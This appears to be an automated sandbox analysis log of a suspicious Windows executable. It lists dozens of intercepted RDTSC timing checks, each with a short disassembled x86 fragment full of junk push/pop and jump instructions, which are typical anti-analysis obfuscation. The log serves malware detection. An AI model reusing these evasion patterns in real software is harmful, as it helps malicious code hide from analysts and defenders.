Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500706 second address: 5500762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007EFCC8E1B147h 0x0000000f xchg eax, ecx 0x00000010 jmp 00007EFCC8E1B146h 0x00000015 push eax 0x00000016 pushad 0x00000017 mov dh, 0Eh 0x00000019 mov di, si 0x0000001c popad 0x0000001d xchg eax, ecx 0x0000001e jmp 00007EFCC8E1B144h 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500762 second address: 5500768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500768 second address: 5500777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8E1B13Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500777 second address: 550079D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 550079D second address: 55007A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 55007A1 second address: 55007A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 55007A7 second address: 550080B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b jmp 00007EFCC8E1B143h 0x00000010 lea eax, dword ptr [ebp-04h] 0x00000013 jmp 00007EFCC8E1B146h 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007EFCC8E1B13Dh 0x00000022 sub esi, 14588356h 0x00000028 jmp 00007EFCC8E1B141h 0x0000002d popfd 0x0000002e mov ch, DCh 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 550080B second address: 5500853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007EFCC8D6A386h 0x0000000b add eax, 393C9CA8h 0x00000011 jmp 00007EFCC8D6A37Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007EFCC8D6A384h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500853 second address: 5500859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500859 second address: 550085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F01A7 second address: 54F01C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFCC8E1B13Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F01C6 second address: 54F01CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F01CC second address: 54F01EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 movzx ecx, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFCC8E1B144h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F01EF second address: 54F01F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F01F5 second address: 54F01F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F01F9 second address: 54F0219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFCC8D6A384h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0219 second address: 54F022D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e pushad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F022D second address: 54F0239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 mov ebx, 0A764BD0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0239 second address: 54F02CD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFCC8E1B149h 0x00000008 sub esi, 668B8856h 0x0000000e jmp 00007EFCC8E1B141h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 jmp 00007EFCC8E1B13Eh 0x0000001d push eax 0x0000001e jmp 00007EFCC8E1B13Bh 0x00000023 xchg eax, ebx 0x00000024 jmp 00007EFCC8E1B146h 0x00000029 xchg eax, edi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007EFCC8E1B13Eh 0x00000031 jmp 00007EFCC8E1B145h 0x00000036 popfd 0x00000037 push eax 0x00000038 push edx 0x00000039 mov bh, cl 0x0000003b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F02CD second address: 54F02F4 instructions: 0x00000000 rdtsc 0x00000002 mov cx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007EFCC8D6A382h 0x0000000f popad 0x00000010 xchg eax, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edx, eax 0x00000016 mov di, si 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0349 second address: 54F034F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F034F second address: 54F0371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFCC8D6A383h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0371 second address: 54F03C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007EFCC8E1B13Fh 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov edi, 00000000h 0x00000013 pushad 0x00000014 mov ebx, eax 0x00000016 movzx eax, dx 0x00000019 popad 0x0000001a inc ebx 0x0000001b pushad 0x0000001c call 00007EFCC8E1B13Bh 0x00000021 pushad 0x00000022 popad 0x00000023 pop esi 0x00000024 mov ecx, edx 0x00000026 popad 0x00000027 test al, al 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007EFCC8E1B143h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F03C1 second address: 54F03C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F03C5 second address: 54F03CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F03CB second address: 54F03DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 16h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007EFCC8D6A507h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F03DF second address: 54F03E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F03E3 second address: 54F03E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F042A second address: 54F0447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0447 second address: 54F044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F044D second address: 54F0451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0451 second address: 54F0467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov esi, edi 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0467 second address: 54F046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F046B second address: 54F047F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0586 second address: 54F058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F058C second address: 54F0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0590 second address: 54F0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0594 second address: 54F05CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b jmp 00007EFCC8D6A387h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007EFCC8D6A380h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F05CB second address: 54F05DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F05DA second address: 54F06AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007EFCC8D6A37Fh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007EFCC8D6A389h 0x0000000f add si, 4AB6h 0x00000014 jmp 00007EFCC8D6A381h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007EFCC8D6A381h 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 mov cl, B8h 0x00000027 movsx ebx, cx 0x0000002a popad 0x0000002b nop 0x0000002c jmp 00007EFCC8D6A380h 0x00000031 push eax 0x00000032 jmp 00007EFCC8D6A37Bh 0x00000037 nop 0x00000038 jmp 00007EFCC8D6A386h 0x0000003d xchg eax, ebx 0x0000003e pushad 0x0000003f pushad 0x00000040 push eax 0x00000041 pop edx 0x00000042 mov di, si 0x00000045 popad 0x00000046 call 00007EFCC8D6A384h 0x0000004b mov cx, BDD1h 0x0000004f pop ecx 0x00000050 popad 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 jmp 00007EFCC8D6A388h 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F070F second address: 54F003C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFCC8E1B142h 0x00000008 adc ch, 00000078h 0x0000000b jmp 00007EFCC8E1B13Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 test esi, esi 0x00000016 jmp 00007EFCC8E1B146h 0x0000001b je 00007EFD3A9B903Dh 0x00000021 xor eax, eax 0x00000023 jmp 00007EFCC8DF486Ah 0x00000028 pop esi 0x00000029 pop edi 0x0000002a pop ebx 0x0000002b leave 0x0000002c retn 0004h 0x0000002f nop 0x00000030 xor ebx, ebx 0x00000032 cmp eax, 00000000h 0x00000035 je 00007EFCC8E1B293h 0x0000003b call 00007EFCCD3285BDh 0x00000040 mov edi, edi 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007EFCC8E1B149h 0x00000049 sbb cx, 1666h 0x0000004e jmp 00007EFCC8E1B141h 0x00000053 popfd 0x00000054 popad 0x00000055 xchg eax, ebp 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F003C second address: 54F0040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0040 second address: 54F0044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0044 second address: 54F004A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F004A second address: 54F0050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0050 second address: 54F0054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0054 second address: 54F0058 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0B7D second address: 54F0B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8D6A37Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0B8F second address: 54F0BDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007EFCC8E1B13Ah 0x00000010 sbb ax, FA88h 0x00000015 jmp 00007EFCC8E1B13Bh 0x0000001a popfd 0x0000001b mov ch, 52h 0x0000001d popad 0x0000001e mov dword ptr [esp], ebp 0x00000021 pushad 0x00000022 mov edi, 2C42D564h 0x00000027 mov esi, edx 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007EFCC8E1B142h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0BDA second address: 54F0BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8D6A37Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0BEC second address: 54F0C1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [770E459Ch], 05h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007EFCC8E1B145h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0C1B second address: 54F0C45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007EFD3A8F8145h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFCC8D6A37Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0C45 second address: 54F0C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0CA8 second address: 54F0CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0CAC second address: 54F0CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0CB0 second address: 54F0CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0CB6 second address: 54F0CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0CBC second address: 54F0CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0CC0 second address: 54F0D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007EFCC8E1B139h 0x0000000d jmp 00007EFCC8E1B144h 0x00000012 push eax 0x00000013 jmp 00007EFCC8E1B13Bh 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d mov bx, 797Ah 0x00000021 call 00007EFCC8E1B13Bh 0x00000026 mov bx, cx 0x00000029 pop ecx 0x0000002a popad 0x0000002b mov eax, dword ptr [eax] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007EFCC8E1B141h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0DE2 second address: 54F0DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 41F3059Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0DEC second address: 54F0E36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B143h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-1Ch], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007EFCC8E1B13Bh 0x00000015 sbb al, FFFFFFBEh 0x00000018 jmp 00007EFCC8E1B149h 0x0000001d popfd 0x0000001e mov bx, si 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0E36 second address: 54F0E52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8D6A388h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0E6B second address: 54F0EC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFCC8E1B141h 0x00000009 jmp 00007EFCC8E1B13Bh 0x0000000e popfd 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 test al, al 0x00000016 jmp 00007EFCC8E1B142h 0x0000001b je 00007EFD3A99EC16h 0x00000021 jmp 00007EFCC8E1B140h 0x00000026 cmp dword ptr [ebp+08h], 00002000h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0EC8 second address: 54F0ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0ECC second address: 54F0ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0ED0 second address: 54F0ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 54F0ED6 second address: 54F0EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8E1B13Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 55009C3 second address: 55009D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 55009D2 second address: 5500A39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007EFCC8E1B13Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007EFCC8E1B141h 0x00000016 movzx eax, di 0x00000019 pop edi 0x0000001a jmp 00007EFCC8E1B13Ah 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007EFCC8E1B140h 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov eax, edi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500A39 second address: 5500A88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A385h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx esi, dx 0x0000000e push edx 0x0000000f call 00007EFCC8D6A384h 0x00000014 pop ecx 0x00000015 pop edi 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007EFCC8D6A381h 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500A88 second address: 5500A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500A8C second address: 5500A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500A92 second address: 5500AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B142h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov dh, cl 0x0000000f push eax 0x00000010 push edx 0x00000011 mov edx, 57306B4Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500AB5 second address: 5500B97 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFCC8D6A385h 0x00000008 or ecx, 49730026h 0x0000000e jmp 00007EFCC8D6A381h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 test esi, esi 0x00000019 pushad 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007EFCC8D6A37Ah 0x00000021 sub cx, 29C8h 0x00000026 jmp 00007EFCC8D6A37Bh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007EFCC8D6A388h 0x00000032 xor cx, 2C28h 0x00000037 jmp 00007EFCC8D6A37Bh 0x0000003c popfd 0x0000003d popad 0x0000003e pushfd 0x0000003f jmp 00007EFCC8D6A388h 0x00000044 jmp 00007EFCC8D6A385h 0x00000049 popfd 0x0000004a popad 0x0000004b je 00007EFD3A8E7BCAh 0x00000051 jmp 00007EFCC8D6A37Eh 0x00000056 cmp dword ptr [770E459Ch], 05h 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007EFCC8D6A387h 0x00000064 rdtsc
